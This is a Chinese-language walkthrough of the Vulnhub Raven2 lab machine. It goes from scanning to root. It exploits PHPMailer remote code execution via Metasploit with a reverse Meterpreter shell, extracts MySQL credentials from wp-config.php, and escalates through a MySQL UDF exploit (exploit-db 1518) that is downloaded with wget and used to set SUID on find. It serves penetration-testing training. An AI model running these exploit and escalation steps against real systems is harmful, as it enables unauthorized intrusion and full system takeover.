Vulnhub系列靶机-Raven2

文章目录

  • [Raven2 渗透测试](#Raven2 渗透测试)
    • [1. 信息收集](#1. 信息收集)
      • [1.1 主机探测](#1.1 主机探测)
      • [1.2 端口扫描](#1.2 端口扫描)
      • [1.3 目录爆破](#1.3 目录爆破)
    • [2. 漏洞探测](#2. 漏洞探测)
    • [3. 漏洞利用](#3. 漏洞利用)
      • [3.1 msfconsole](#3.1 msfconsole)
      • [3.2 交互式shell](#3.2 交互式shell)
    • [4. 权限提升](#4. 权限提升)

Raven2 渗透测试

1. 信息收集

1.1 主机探测

sh 复制代码
arp-scan -l

1.2 端口扫描

sh 复制代码
nmap -p- -A 192.168.188.213

通过nmap工具进行端口扫描发现靶机开放了22,80,111,58447端口。

访问Web页面

使用浏览器插件Wappalyzer,查看网站使用的具体框架信息

1.3 目录爆破

sh 复制代码
dirsearch -u 192.168.188.213 -e * -i 200

2. 漏洞探测

访问一下wp-login.php页面

尝试登录发现找不到网站

访问http://192.168.188.213/vendor/页面

点击PATH发现一个flag1

复制代码
flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}

点击README.md文件发现是PHPMailer。

PHPMailer的版本信息5.2.16。

经搜索后发现PHPMailer是一个用于发送电子邮件的PHP函数包。在网上搜索资料后发现PHPMailer5.2.16版本的漏洞有远程命令执行漏洞。

Web页面中也有发送邮件的位置,这样就对应上了。

3. 漏洞利用

3.1 msfconsole

使用msfconsole搜索phpmailer

sh 复制代码
search phpmailer
sh 复制代码
info 0

有两个先查看下第一个描述情况。

发现第一个版本需要在5.2.18之下,而之前发现的版本为5.2.16正好小于5.2.18。那么我们直接使用第一个即可。

sh 复制代码
use 0

配置选项如下

sh 复制代码
options
set RHOSTS 192.168.188.213 			  	  # 靶机的IP地址
set TARGETURI /contact.php   			  # 邮件功能页面
set WEB_ROOT /var/www/html    			  # 网站绝对路径
set payload php/meterpreter/reverse_tcp	  # 设置payload
set LHOST 192.168.188.157   			  # kali的IP地址
run

复制生成的0nB8rTnS.php拼接在URL后然后进行访问。

反弹成功。

在/var/www路径下可以看到flag2.txt文件

复制代码
flag2{6a8ed560f0b5358ecf844108048eb337}

切换为shell形式,搜索所有的flag

sh 复制代码
shell
find ./ -name "flag*"
复制代码
./html/wordpress/wp-content/uploads/2018/11/flag3.png
复制代码
f1ag3a0f568aa9de277887f37730d71520d9b}

3.2 交互式shell

使用python一句话反弹交互式shell。

sh 复制代码
python -c 'import pty; pty.spawn("/bin/bash")'

尝试搜索wordpress的配置文件

sh 复制代码
find ./ -name "*fig*"

在wp-config.php文件中发现了mysql的数据库账号密码为:

复制代码
root
R@v3nSecurity

使用账号密码成功登录数据库。

sh 复制代码
mysql -uroot -pR@v3nSecurity

4. 权限提升

MYSQL低于5.5的漏洞可以使用UDF提权,查看mysql的运行权限。发现是mysqld是root权限,查看secure_file_priv的设置发现为空,满足udf提权。

sh 复制代码
ps -aux|grep mysql  				#查看mysql的运行权限
select version();   				#查看mysql版本
select @@basedir;   				#确认mysql安装位置
show variables like '%basedir%';    #确认mysql安装位置
show variables like '%secure%';  	#查看可导出文件位置

MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。sqlmap 和 Metasploit 里面都自带了对应系统的动态链接库文件。查看插件位置为:/usr/lib/mysql/plugin/,Windows的话还需查看操作系统版本。

sh 复制代码
show variables like '%plugin%';  	 #查找插件位置
show variables like '%compile%';  	 #查看系统版本

通过以上信息可知满足udf提权,直接利用1518进行提权,先搜索1518.c,然后查看其所在位置,并复制到桌面。

sh 复制代码
searchsploit 1518.c  			 #搜索1518.c
locate 1518.c	 				 #查看下本地所存放路径
cp /usr/share/exploitdb/exploits/linux/local/1518.c .  #复制到当前所在文件夹

利用gcc编译,生成1518.so文件。

sh 复制代码
gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.c -lc

命令参数说明

  • -g:生成调试信息。
  • -shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
  • -o:执行命令后的文件名。
  • -lc:-l 库 c库名。
  • -Wl:该选项告诉编译器将后面的参数传递给链接器。
  • -soname:则指定了动态库的soname(简单共享名,Short for shared object name)

在kali上使用python开启http服务。

sh 复制代码
python3 -m http.server 7777

在获取的shell中,将该".so"文件传输到靶机上的/tmp目录下。并且使用wget命令下载1518.so文件。将下载的文件赋予执行权限。

sh 复制代码
cd /tmp
wget http://192.168.188.157:7777/1518.so
chmod 777 *

再次登录mysql,并使用一下命令创建自定义函数。

sh 复制代码
# 连接mysql数据库
mysql -uroot -pR@v3nSecurity

# 使用mysql数据库
use mysql;

# 创建foo表
create table foo(line blob);

# 往foo表中插入二进制的1518.so
insert into foo values(load_file('/tmp/1518.so'));

# 导出1518.so
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';

# 创建do_system自定义函数
create function do_system returns integer soname '1518.so';

# 调用do_system函数给find命令所有者的suid权限,使其执行root
select do_system('chmod u+s /usr/bin/find');

# 导入成功后可查看一下 mysql 函数里面是否新增了do_system:
select * from mysql.func;

利用find命名执行whoami,发现当前为root权限。

sh 复制代码
touch 11
find 11 -exec "whoami" \;
find 11 -exec "/bin/sh" \;
cd /
ls
cd root
ls
cat flag4.txt
相关推荐
枷锁—sha11 小时前
【SRC】SQL注入WAF 绕过应对策略(二)
网络·数据库·python·sql·安全·网络安全
天荒地老笑话么19 小时前
静态 IP 规划:掩码/网关/DNS 的正确组合
网络·网络协议·tcp/ip·网络安全
数据与后端架构提升之路1 天前
论系统安全架构设计及其应用(基于AI大模型项目)
人工智能·安全·系统安全
大方子2 天前
【PolarCTF】rce1
网络安全·polarctf
枷锁—sha2 天前
Burp Suite 抓包全流程与 Xray 联动自动挖洞指南
网络·安全·网络安全
聚铭网络2 天前
聚铭网络再度入选2026年度扬州市网络和数据安全服务资源池单位
网络安全
darkb1rd2 天前
八、PHP SAPI与运行环境差异
开发语言·网络安全·php·webshell
世界尽头与你2 天前
(修复方案)基础目录枚举漏洞
安全·网络安全·渗透测试
Coder个人博客2 天前
Linux6.19-ARM64 mm mmu子模块深入分析
大数据·linux·车载系统·系统架构·系统安全·鸿蒙系统
枷锁—sha3 天前
【SRC】SQL注入快速判定与应对策略(一)
网络·数据库·sql·安全·网络安全·系统安全